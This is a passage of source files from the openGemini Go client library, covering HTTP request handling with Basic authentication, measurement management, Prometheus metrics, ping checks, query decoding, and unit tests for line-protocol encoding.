{ 52 | return ErrEmptyDatabaseName 53 | } 54 | if len(retentionPolicy) == 0 { 55 | return ErrRetentionPolicy 56 | } 57 | return nil 58 | } 59 | 60 | func checkCommand(cmd string) error { 61 | if len(cmd) == 0 { 62 | return ErrEmptyCommand 63 | } 64 | return nil 65 | } 66 | -------------------------------------------------------------------------------- /opengemini/http.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "encoding/base64" 20 | "errors" 21 | "io" 22 | "net/http" 23 | "net/url" 24 | ) 25 | 26 | type requestDetails struct { 27 | queryValues url.Values 28 | header http.Header 29 | body io.Reader 30 | } 31 | 32 | func (c *client) updateAuthHeader(method, urlPath string, header http.Header) http.Header { 33 | if c.config.AuthConfig == nil { 34 | return header 35 | } 36 | 37 | if methods, ok := noAuthRequired[urlPath]; ok { 38 | if _, methodOk := methods[method]; methodOk { 39 | return header 40 | } 41 | } 42 | 43 | if header == nil { 44 | header = make(http.Header) 45 | } 46 | 47 | if c.config.AuthConfig.AuthType == AuthTypePassword { 48 | encodeString := c.config.AuthConfig.Username + ":" + c.config.AuthConfig.Password 49 | authorization := "Basic " + base64.StdEncoding.EncodeToString([]byte(encodeString)) 50 | header.Set("Authorization", authorization) 51 | } 52 | 53 | return header 54 | } 55 | 56 | func (c *client) executeHttpRequestByIdxWithContext(ctx context.Context, idx int, method, urlPath string, details requestDetails) (*http.Response, error) { 57 | if idx >= len(c.endpoints) || idx < 0 { 58 | return nil, errors.New("index out of range") 59 | } 60 | return c.executeHttpRequestInner(ctx, method, c.endpoints[idx].url, urlPath, details) 61 | } 62 | 63 | func (c *client) executeHttpGet(urlPath string, details requestDetails) (*http.Response, error) { 64 | return c.executeHttpRequest(http.MethodGet, urlPath, details) 65 | } 66 | 67 | func (c *client) executeHttpPost(urlPath string, details requestDetails) (*http.Response, error) { 68 | return c.executeHttpRequest(http.MethodPost, urlPath, details) 69 | } 70 | 71 | func (c *client) executeHttpRequest(method, urlPath string, details requestDetails) (*http.Response, error) { 72 | serverUrl := c.getServerUrl() 73 | return c.executeHttpRequestInner(context.TODO(), method, serverUrl, urlPath, details) 74 | } 75 | 76 | func (c *client) executeHttpRequestWithContext(ctx context.Context, method, urlPath string, details requestDetails) (*http.Response, error) { 77 | serverUrl := c.getServerUrl() 78 | return c.executeHttpRequestInner(ctx, method, serverUrl, urlPath, details) 79 | } 80 | 81 | // executeHttpRequestInner executes an HTTP request with the given method, server URL, URL path, and request details. 82 | // 83 | // Parameters: 84 | // - ctx: The context.Context to associate with the request, if ctx is nil, request is created without a context. 85 | // - method: The HTTP method to use for the request. 86 | // - serverUrl: The server URL to use for the request. 87 | // - urlPath: The URL path to use for the request. 88 | // - details: The request details to use for the request. 89 | // 90 | // Returns: 91 | // - *http.Response: The HTTP response from the request. 92 | // - error: An error that occurred during the request. 93 | func (c *client) executeHttpRequestInner(ctx context.Context, method, serverUrl, urlPath string, details requestDetails) (*http.Response, error) { 94 | details.header = c.updateAuthHeader(method, urlPath, details.header) 95 | fullUrl := serverUrl + urlPath 96 | u, err := url.Parse(fullUrl) 97 | if err != nil { 98 | return nil, err 99 | } 100 | 101 | if details.queryValues != nil { 102 | u.RawQuery = details.queryValues.Encode() 103 | } 104 | 105 | var request *http.Request 106 | 107 | if ctx == nil { 108 | request, err = http.NewRequest(method, u.String(), details.body) 109 | if err != nil { 110 | return nil, err 111 | } 112 | } else { 113 | request, err = http.NewRequestWithContext(ctx, method, u.String(), details.body) 114 | if err != nil { 115 | return nil, err 116 | } 117 | } 118 | 119 | for k, values := range details.header { 120 | for _, v := range values { 121 | request.Header.Add(k, v) 122 | } 123 | } 124 | 125 | return c.cli.Do(request) 126 | } 127 | -------------------------------------------------------------------------------- /opengemini/http_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "net/http" 19 | "testing" 20 | 21 | "github.com/stretchr/testify/require" 22 | ) 23 | 24 | func TestSetAuthorization(t *testing.T) { 25 | c := client{ 26 | config: &Config{ 27 | AuthConfig: &AuthConfig{ 28 | AuthType: AuthTypePassword, 29 | Username: "test", 30 | Password: "test pwd", 31 | }, 32 | }, 33 | } 34 | 35 | header := c.updateAuthHeader(http.MethodGet, UrlPing, nil) 36 | require.Equal(t, "", header.Get("Authorization")) 37 | 38 | header = c.updateAuthHeader(http.MethodOptions, UrlQuery, nil) 39 | require.Equal(t, "", header.Get("Authorization")) 40 | 41 | header = c.updateAuthHeader(http.MethodGet, UrlQuery, nil) 42 | require.Equal(t, "Basic dGVzdDp0ZXN0IHB3ZA==", header.Get("Authorization")) 43 | } 44 | -------------------------------------------------------------------------------- /opengemini/measurement.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "errors" 19 | "fmt" 20 | "io" 21 | "net/http" 22 | "net/url" 23 | ) 24 | 25 | type ValuesResult struct { 26 | Measurement string 27 | Values []interface{} 28 | } 29 | 30 | func (c *client) ShowMeasurements(builder ShowMeasurementBuilder) ([]string, error) { 31 | base := builder.getMeasurementBase() 32 | err := checkDatabaseName(base.database) 33 | if err != nil { 34 | return nil, err 35 | } 36 | 37 | command, err := builder.build() 38 | if err != nil { 39 | return nil, err 40 | } 41 | 42 | queryResult, err := c.queryPost(Query{ 43 | Database: base.database, 44 | RetentionPolicy: base.retentionPolicy, 45 | Command: command, 46 | }) 47 | 48 | if err != nil { 49 | return nil, err 50 | } 51 | 52 | err = queryResult.hasError() 53 | if err != nil { 54 | return nil, fmt.Errorf("show measurements err: %s", err) 55 | } 56 | 57 | return queryResult.convertMeasurements(), nil 58 | } 59 | 60 | func (c *client) DropMeasurement(database, retentionPolicy, measurement string) error { 61 | err := checkDatabaseName(database) 62 | if err != nil { 63 | return err 64 | } 65 | if err = checkMeasurementName(measurement); err != nil { 66 | return err 67 | } 68 | 69 | req := requestDetails{ 70 | queryValues: make(url.Values), 71 | } 72 | req.queryValues.Add("db", database) 73 | req.queryValues.Add("rp", retentionPolicy) 74 | req.queryValues.Add("q", `DROP MEASUREMENT "`+measurement+`"`) 75 | resp, err := c.executeHttpPost("/query", req) 76 | if err != nil { 77 | return err 78 | } 79 | defer resp.Body.Close() 80 | body, err := io.ReadAll(resp.Body) 81 | if err != nil { 82 | return errors.New("read resp failed, error: " + err.Error()) 83 | } 84 | if resp.StatusCode != http.StatusOK { 85 | return errors.New("error resp, code: " + resp.Status + "body: " + string(body)) 86 | } 87 | return nil 88 | } 89 | 90 | func (c *client) CreateMeasurement(builder CreateMeasurementBuilder) error { 91 | base := builder.getMeasurementBase() 92 | err := checkDatabaseName(base.database) 93 | if err != nil { 94 | return err 95 | } 96 | 97 | command, err := builder.build() 98 | if err != nil { 99 | return err 100 | } 101 | req := requestDetails{ 102 | queryValues: make(url.Values), 103 | } 104 | req.queryValues.Add("db", base.database) 105 | req.queryValues.Add("rp", base.retentionPolicy) 106 | req.queryValues.Add("q", command) 107 | resp, err := c.executeHttpPost("/query", req) 108 | if err != nil { 109 | return err 110 | } 111 | defer resp.Body.Close() 112 | body, err := io.ReadAll(resp.Body) 113 | if err != nil { 114 | return errors.New("read resp failed, error: " + err.Error()) 115 | } 116 | if resp.StatusCode != http.StatusOK { 117 | return errors.New("error resp, code: " + resp.Status + "body: " + string(body)) 118 | } 119 | return nil 120 | } 121 | -------------------------------------------------------------------------------- /opengemini/metrics.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import "github.com/prometheus/client_golang/prometheus" 18 | 19 | const ( 20 | MetricsNamespace = "opengemini" 21 | MetricsSubsystem = "client" 22 | ) 23 | 24 | var _ prometheus.Collector = (*metrics)(nil) 25 | 26 | // metrics custom indicators, implementing the prometheus.Collector interface 27 | type metrics struct { 28 | // queryCounter count all queries 29 | queryCounter prometheus.Counter 30 | // writeCounter count all write requests 31 | writeCounter prometheus.Counter 32 | // queryLatency calculate the average of the queries, unit milliseconds 33 | queryLatency prometheus.Summary 34 | // writeLatency calculate the average of the writes, unit milliseconds 35 | writeLatency prometheus.Summary 36 | // queryDatabaseCounter count queries and classify using measurement 37 | queryDatabaseCounter *prometheus.CounterVec 38 | // writeDatabaseCounter count write requests and classify using measurement 39 | writeDatabaseCounter *prometheus.CounterVec 40 | // queryDatabaseLatency calculate the average of the queries for database, unit milliseconds 41 | queryDatabaseLatency *prometheus.SummaryVec 42 | // writeDatabaseLatency calculate the average of the writes for database, unit milliseconds 43 | writeDatabaseLatency *prometheus.SummaryVec 44 | } 45 | 46 | func (m *metrics) Describe(chan<- *prometheus.Desc) {} 47 | 48 | func (m *metrics) Collect(ch chan<- prometheus.Metric) { 49 | ch <- m.queryCounter 50 | ch <- m.writeCounter 51 | ch <- m.queryLatency 52 | ch <- m.writeLatency 53 | m.queryDatabaseCounter.Collect(ch) 54 | m.writeDatabaseCounter.Collect(ch) 55 | m.queryDatabaseLatency.Collect(ch) 56 | m.writeDatabaseLatency.Collect(ch) 57 | } 58 | 59 | // newMetricsProvider returns metrics registered to registerer. 60 | func newMetricsProvider(customLabels map[string]string) *metrics { 61 | constLabels := map[string]string{ 62 | "client": "go", // distinguish from other language client 63 | } 64 | for k, v := range customLabels { 65 | constLabels[k] = v 66 | } 67 | 68 | constQuantiles := map[float64]float64{0.5: 0.05, 0.9: 0.01, 0.99: 0.001} 69 | labelNames := []string{"database"} 70 | 71 | m := &metrics{ 72 | queryCounter: prometheus.NewCounter(prometheus.CounterOpts{ 73 | Namespace: MetricsNamespace, 74 | Subsystem: MetricsSubsystem, 75 | Name: "query_total", 76 | Help: "Count of opengemini queries", 77 | ConstLabels: constLabels, 78 | }), 79 | writeCounter: prometheus.NewCounter(prometheus.CounterOpts{ 80 | Namespace: MetricsNamespace, 81 | Subsystem: MetricsSubsystem, 82 | Name: "write_total", 83 | Help: "Count of opengemini writes", 84 | ConstLabels: constLabels, 85 | }), 86 | queryLatency: prometheus.NewSummary(prometheus.SummaryOpts{ 87 | Namespace: MetricsNamespace, 88 | Subsystem: MetricsSubsystem, 89 | Name: "query_latency", 90 | Help: "Calculate the average of the queries", 91 | ConstLabels: constLabels, 92 | Objectives: constQuantiles, 93 | }), 94 | writeLatency: prometheus.NewSummary(prometheus.SummaryOpts{ 95 | Namespace: MetricsNamespace, 96 | Subsystem: MetricsSubsystem, 97 | Name: "write_latency", 98 | Help: "Calculate the average of the writes", 99 | ConstLabels: constLabels, 100 | Objectives: constQuantiles, 101 | }), 102 | queryDatabaseCounter: prometheus.NewCounterVec(prometheus.CounterOpts{ 103 | Namespace: MetricsNamespace, 104 | Subsystem: MetricsSubsystem, 105 | Name: "query_database_total", 106 | Help: "Count of opengemini queries and classify using measurement", 107 | ConstLabels: constLabels, 108 | }, labelNames), 109 | writeDatabaseCounter: prometheus.NewCounterVec(prometheus.CounterOpts{ 110 | Namespace: MetricsNamespace, 111 | Subsystem: MetricsSubsystem, 112 | Name: "write_database_total", 113 | Help: "Count of opengemini writes and classify using measurement", 114 | ConstLabels: constLabels, 115 | }, labelNames), 116 | queryDatabaseLatency: prometheus.NewSummaryVec(prometheus.SummaryOpts{ 117 | Namespace: MetricsNamespace, 118 | Subsystem: MetricsSubsystem, 119 | Name: "query_database_latency", 120 | Help: "Calculate the average of the queries for database", 121 | ConstLabels: constLabels, 122 | Objectives: constQuantiles, 123 | }, labelNames), 124 | writeDatabaseLatency: prometheus.NewSummaryVec(prometheus.SummaryOpts{ 125 | Namespace: MetricsNamespace, 126 | Subsystem: MetricsSubsystem, 127 | Name: "write_database_latency", 128 | Help: "Calculate the average of the writes for database", 129 | ConstLabels: constLabels, 130 | Objectives: constQuantiles, 131 | }, labelNames), 132 | } 133 | 134 | return m 135 | } 136 | 137 | // ExposeMetrics expose prometheus metrics 138 | func (c *client) ExposeMetrics() prometheus.Collector { 139 | return c.metrics 140 | } 141 | -------------------------------------------------------------------------------- /opengemini/ping.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "context" 19 | "errors" 20 | "io" 21 | "net/http" 22 | ) 23 | 24 | // Ping check that status of cluster. 25 | func (c *client) Ping(idx int) error { 26 | return c.ping(context.TODO(), idx) 27 | } 28 | 29 | func (c *client) ping(ctx context.Context, idx int) error { 30 | resp, err := c.executeHttpRequestByIdxWithContext(ctx, idx, http.MethodGet, UrlPing, requestDetails{}) 31 | if err != nil { 32 | return errors.New("ping request failed, error: " + err.Error()) 33 | } 34 | 35 | defer resp.Body.Close() 36 | 37 | if resp.StatusCode != http.StatusNoContent { 38 | body, err := io.ReadAll(resp.Body) 39 | if err != nil { 40 | return errors.New("read ping resp failed, error: " + err.Error()) 41 | } 42 | return errors.New("ping error resp, code: " + resp.Status + "body: " + string(body)) 43 | } 44 | return nil 45 | } 46 | -------------------------------------------------------------------------------- /opengemini/ping_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "testing" 19 | 20 | "github.com/stretchr/testify/require" 21 | ) 22 | 23 | func TestPingSuccess(t *testing.T) { 24 | c := testDefaultClient(t) 25 | 26 | err := c.Ping(0) 27 | require.Nil(t, err) 28 | } 29 | 30 | func TestPingFailForInaccessibleAddress(t *testing.T) { 31 | c := testNewClient(t, &Config{ 32 | Addresses: []Address{{ 33 | Host: "localhost", 34 | Port: 8086, 35 | }, { 36 | Host: "localhost", 37 | Port: 8087, 38 | }}, 39 | }) 40 | 41 | err := c.Ping(1) 42 | require.NotNil(t, err) 43 | } 44 | 45 | func TestPingFailForOutOfRangeIndex(t *testing.T) { 46 | c := testDefaultClient(t) 47 | 48 | err := c.Ping(1) 49 | require.NotNil(t, err) 50 | err = c.Ping(-1) 51 | require.NotNil(t, err) 52 | } 53 | -------------------------------------------------------------------------------- /opengemini/point_test.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "bytes" 19 | "strings" 20 | "testing" 21 | "time" 22 | 23 | "github.com/stretchr/testify/assert" 24 | ) 25 | 26 | func TestPointToString(t *testing.T) { 27 | // line protocol without escaped chars 28 | assert.Equal(t, "test,T0=0 a=1i", encodePoint(assemblePoint("test", "T0", "0", "a", 1))) 29 | 30 | // line protocol measurement with escaped chars 31 | assert.Equal(t, "test\\,,T0=0 a=1i", encodePoint(assemblePoint("test,", "T0", "0", "a", 1))) 32 | assert.Equal(t, "test\\ ,T0=0 a=1i", encodePoint(assemblePoint("test ", "T0", "0", "a", 1))) 33 | 34 | // line protocol tag key with escaped chars 35 | assert.Equal(t, "test,T0\\,=0 a=1i", encodePoint(assemblePoint("test", "T0,", "0", "a", 1))) 36 | assert.Equal(t, "test,T0\\==0 a=1i", encodePoint(assemblePoint("test", "T0=", "0", "a", 1))) 37 | assert.Equal(t, "test,T0\\ =0 a=1i", encodePoint(assemblePoint("test", "T0 ", "0", "a", 1))) 38 | 39 | // line protocol tag value with escaped chars 40 | assert.Equal(t, "test,T0=0\\, a=1i", encodePoint(assemblePoint("test", "T0", "0,", "a", 1))) 41 | assert.Equal(t, "test,T0=0\\= a=1i", encodePoint(assemblePoint("test", "T0", "0=", "a", 1))) 42 | assert.Equal(t, "test,T0=0\\ a=1i", encodePoint(assemblePoint("test", "T0", "0 ", "a", 1))) 43 | 44 | // line protocol field key with escaped chars 45 | assert.Equal(t, "test,T0=0 a\\,=1i", encodePoint(assemblePoint("test", "T0", "0", "a,", 1))) 46 | assert.Equal(t, "test,T0=0 a\\==1i", encodePoint(assemblePoint("test", "T0", "0", "a=", 1))) 47 | assert.Equal(t, "test,T0=0 a\\ =1i", encodePoint(assemblePoint("test", "T0", "0", "a ", 1))) 48 | 49 | // line protocol field value with escaped chars 50 | assert.Equal(t, "test,T0=0 a=\"1\\\"\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\""))) 51 | assert.Equal(t, "test,T0=0 a=\"1\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\"))) 52 | assert.Equal(t, "test,T0=0 a=\"1\\\\\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\\\"))) 53 | assert.Equal(t, "test,T0=0 a=\"1\\\\\\\\\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\\\\\"))) 54 | 55 | } 56 | 57 | func assemblePoint(measurement, tagKey, tagValue, fieldKey string, filedValue interface{}) *Point { 58 | point := &Point{Measurement: measurement} 59 | point.AddTag(tagKey, tagValue) 60 | point.AddField(fieldKey, filedValue) 61 | return point 62 | } 63 | 64 | func encodePoint(p *Point) string { 65 | var buf bytes.Buffer 66 | enc := NewLineProtocolEncoder(&buf) 67 | _ = enc.Encode(p) 68 | return buf.String() 69 | } 70 | 71 | func TestPointEncode(t *testing.T) { 72 | point := &Point{} 73 | // encode Point which hasn't set measurement 74 | if strings.Compare(encodePoint(point), "") != 0 { 75 | t.Error("error translate for point hasn't set measurement") 76 | } 77 | point.Measurement = "measurement" 78 | // encode Point which hasn't own field 79 | if strings.Compare(encodePoint(point), "") != 0 { 80 | t.Error("error translate for point hasn't own field") 81 | } 82 | point.AddField("filed1", "string field") 83 | // encode Point which only has a field 84 | if strings.Compare(encodePoint(point), 85 | "measurement filed1=\"string field\"") != 0 { 86 | t.Error("parse point with a string filed failed") 87 | } 88 | point.AddTag("tag", "tag1") 89 | // encode Point which has a field with a tag 90 | if strings.Compare(encodePoint(point), 91 | "measurement,tag=tag1 filed1=\"string field\"") != 0 { 92 | t.Error("parse point with a tag failed") 93 | } 94 | point.Timestamp = time.Date(2023, 12, 1, 12, 32, 18, 132363612, time.UTC).UnixNano() 95 | if strings.Compare(encodePoint(point), 96 | "measurement,tag=tag1 filed1=\"string field\" 1701433938132363612") != 0 { 97 | t.Error("parse point with a tag failed") 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /opengemini/query.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "encoding/json" 19 | "errors" 20 | "fmt" 21 | "io" 22 | "net/http" 23 | "time" 24 | 25 | "github.com/vmihailenco/msgpack/v5" 26 | 27 | compressionPool "github.com/sourgoodie/opengemini-client-go/lib/pool" 28 | ) 29 | 30 | const ( 31 | HttpContentTypeMsgpack = "application/x-msgpack" 32 | HttpContentTypeJSON = "application/json" 33 | HttpEncodingGzip = "gzip" 34 | HttpEncodingZstd = "zstd" 35 | HttpEncodingSnappy = "snappy" 36 | ) 37 | 38 | type Query struct { 39 | Database string 40 | Command string 41 | RetentionPolicy string 42 | Precision Precision 43 | } 44 | 45 | // Query sends a command to the server 46 | func (c *client) Query(q Query) (*QueryResult, error) { 47 | if err := checkCommand(q.Command); err != nil { 48 | return nil, err 49 | } 50 | 51 | req := buildRequestDetails(c.config, func(req *requestDetails) { 52 | req.queryValues.Add("db", q.Database) 53 | req.queryValues.Add("q", q.Command) 54 | req.queryValues.Add("rp", q.RetentionPolicy) 55 | req.queryValues.Add("epoch", q.Precision.Epoch()) 56 | }) 57 | 58 | // metric 59 | c.metrics.queryCounter.Add(1) 60 | c.metrics.queryDatabaseCounter.WithLabelValues(q.Database).Add(1) 61 | startAt := time.Now() 62 | 63 | resp, err := c.executeHttpGet(UrlQuery, req) 64 | 65 | cost := float64(time.Since(startAt).Milliseconds()) 66 | c.metrics.queryLatency.Observe(cost) 67 | c.metrics.queryDatabaseLatency.WithLabelValues(q.Database).Observe(cost) 68 | 69 | if err != nil { 70 | return nil, errors.New("query request failed, error: " + err.Error()) 71 | } 72 | qr, err := retrieveQueryResFromResp(resp) 73 | if err != nil { 74 | return nil, err 75 | } 76 | return qr, nil 77 | } 78 | 79 | func (c *client) queryPost(q Query) (*QueryResult, error) { 80 | req := buildRequestDetails(c.config, func(req *requestDetails) { 81 | req.queryValues.Add("db", q.Database) 82 | req.queryValues.Add("q", q.Command) 83 | }) 84 | 85 | resp, err := c.executeHttpPost(UrlQuery, req) 86 | if err != nil { 87 | return nil, errors.New("request failed, error: " + err.Error()) 88 | } 89 | qr, err := retrieveQueryResFromResp(resp) 90 | if err != nil { 91 | return nil, err 92 | } 93 | return qr, nil 94 | } 95 | 96 | func buildRequestDetails(c *Config, requestModifier func(*requestDetails)) requestDetails { 97 | req := requestDetails{ 98 | queryValues: make(map[string][]string), 99 | } 100 | 101 | applyCodec(&req, c) 102 | 103 | if requestModifier != nil { 104 | requestModifier(&req) 105 | } 106 | 107 | return req 108 | } 109 | 110 | func applyCodec(req *requestDetails, config *Config) { 111 | if req.header == nil { 112 | req.header = make(http.Header) 113 | } 114 | 115 | switch config.ContentType { 116 | case ContentTypeMsgPack: 117 | req.header.Set("Accept", HttpContentTypeMsgpack) 118 | case ContentTypeJSON: 119 | req.header.Set("Accept", HttpContentTypeJSON) 120 | } 121 | 122 | switch config.CompressMethod { 123 | case CompressMethodGzip: 124 | req.header.Set("Accept-Encoding", HttpEncodingGzip) 125 | case CompressMethodZstd: 126 | req.header.Set("Accept-Encoding", HttpEncodingZstd) 127 | case CompressMethodSnappy: 128 | req.header.Set("Accept-Encoding", HttpEncodingSnappy) 129 | } 130 | 131 | } 132 | 133 | // retrieve query result from the response 134 | func retrieveQueryResFromResp(resp *http.Response) (*QueryResult, error) { 135 | defer resp.Body.Close() 136 | body, err := io.ReadAll(resp.Body) 137 | if err != nil { 138 | return nil, errors.New("read resp failed, error: " + err.Error()) 139 | } 140 | if resp.StatusCode != http.StatusOK { 141 | return nil, errors.New("error resp, code: " + resp.Status + "body: " + string(body)) 142 | } 143 | contentType := resp.Header.Get("Content-Type") 144 | contentEncoding := resp.Header.Get("Content-Encoding") 145 | var qr = new(QueryResult) 146 | 147 | // handle decompression first 148 | decompressedBody, err := decompressBody(contentEncoding, body) 149 | if err != nil { 150 | return qr, err 151 | } 152 | 153 | // then handle deserialization based on content type 154 | err = deserializeBody(contentType, decompressedBody, qr) 155 | if err != nil { 156 | return qr, err 157 | } 158 | 159 | return qr, nil 160 | } 161 | 162 | func decompressBody(encoding string, body []byte) ([]byte, error) { 163 | switch encoding { 164 | case HttpEncodingZstd: 165 | return decodeZstdBody(body) 166 | case HttpEncodingGzip: 167 | return decodeGzipBody(body) 168 | case HttpEncodingSnappy: 169 | return decodeSnappyBody(body) 170 | default: 171 | return body, nil 172 | } 173 | } 174 | 175 | func decodeGzipBody(body []byte) ([]byte, error) { 176 | decoder, err := compressionPool.GetGzipReader(body) 177 | if err != nil { 178 | return nil, errors.New("failed to create gzip decoder: " + err.Error()) 179 | } 180 | defer compressionPool.PutGzipReader(decoder) 181 | 182 | decompressedBody, err := io.ReadAll(decoder) 183 | if err != nil { 184 | return nil, errors.New("failed to decompress gzip body: " + err.Error()) 185 | } 186 | 187 | return decompressedBody, nil 188 | } 189 | 190 | func decodeZstdBody(compressedBody []byte) ([]byte, error) { 191 | decoder, err := compressionPool.GetZstdDecoder(compressedBody) 192 | if err != nil { 193 | return nil, errors.New("failed to create zstd decoder: " + err.Error()) 194 | } 195 | defer compressionPool.PutZstdDecoder(decoder) 196 | 197 | decompressedBody, err := decoder.DecodeAll(compressedBody, nil) 198 | if err != nil { 199 | return nil, errors.New("failed to decompress zstd body: " + err.Error()) 200 | } 201 | 202 | return decompressedBody, nil 203 | } 204 | 205 | func decodeSnappyBody(compressedBody []byte) ([]byte, error) { 206 | reader, err := compressionPool.GetSnappyReader(compressedBody) 207 | if err != nil { 208 | return nil, errors.New("failed to create snappy reader: " + err.Error()) 209 | } 210 | defer compressionPool.PutSnappyReader(reader) 211 | decompressedBody, err := io.ReadAll(reader) 212 | if err != nil { 213 | return nil, errors.New("failed to decompress snappy body: " + err.Error()) 214 | } 215 | return decompressedBody, nil 216 | } 217 | 218 | func deserializeBody(contentType string, body []byte, qr *QueryResult) error { 219 | switch contentType { 220 | case HttpContentTypeMsgpack: 221 | return unmarshalMsgpack(body, qr) 222 | case HttpContentTypeJSON: 223 | return unmarshalJson(body, qr) 224 | default: 225 | return fmt.Errorf("unsupported content type: %s", contentType) 226 | } 227 | } 228 | 229 | func unmarshalMsgpack(body []byte, qr *QueryResult) error { 230 | err := msgpack.Unmarshal(body, qr) 231 | if err != nil { 232 | return errors.New("unmarshal msgpack body failed, error: " + err.Error()) 233 | } 234 | return nil 235 | } 236 | 237 | func unmarshalJson(body []byte, qr *QueryResult) error { 238 | err := json.Unmarshal(body, qr) 239 | if err != nil { 240 | return errors.New("unmarshal json body failed, error: " + err.Error()) 241 | } 242 | return nil 243 | } 244 | -------------------------------------------------------------------------------- /opengemini/query_builder.go: -------------------------------------------------------------------------------- 1 | // Copyright 2024 openGemini Authors 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package opengemini 16 | 17 | import ( 18 | "fmt" 19 | "strings" 20 | "time" 21 | ) 22 | 23 | type QueryBuilder struct { 24 | selectExprs []Expression 25 | from []string 26 | where Condition 27 | groupBy []Expression 28 | order SortOrder 29 | limit int64 30 | offset int64 31 | timezone *time.Location 32 | } 33 | 34 | func CreateQueryBuilder() *QueryBuilder { 35 | return &QueryBuilder{} 36 | } 37 | 38 | func (q *QueryBuilder) Select(selectExpressions ...Expression) *QueryBuilder { 39 | q.selectExprs = selectExpressions 40 | return q 41 | } 42 | 43 | func (q *QueryBuilder) From(tables ...string) *QueryBuilder { 44 | q.from = tables 45 | return q 46 | } 47 | 48 | func (q *QueryBuilder) Where(condition Condition) 